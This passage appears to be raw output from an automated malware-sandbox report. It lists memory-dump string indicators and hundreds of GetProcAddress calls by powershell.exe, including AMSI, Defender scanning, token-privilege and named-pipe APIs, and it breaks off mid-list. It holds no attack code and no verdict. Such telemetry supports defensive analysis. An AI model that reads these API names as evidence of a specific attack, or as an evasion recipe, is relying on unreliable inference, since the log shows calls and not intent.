"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")45:Tf2ca,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006036) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen 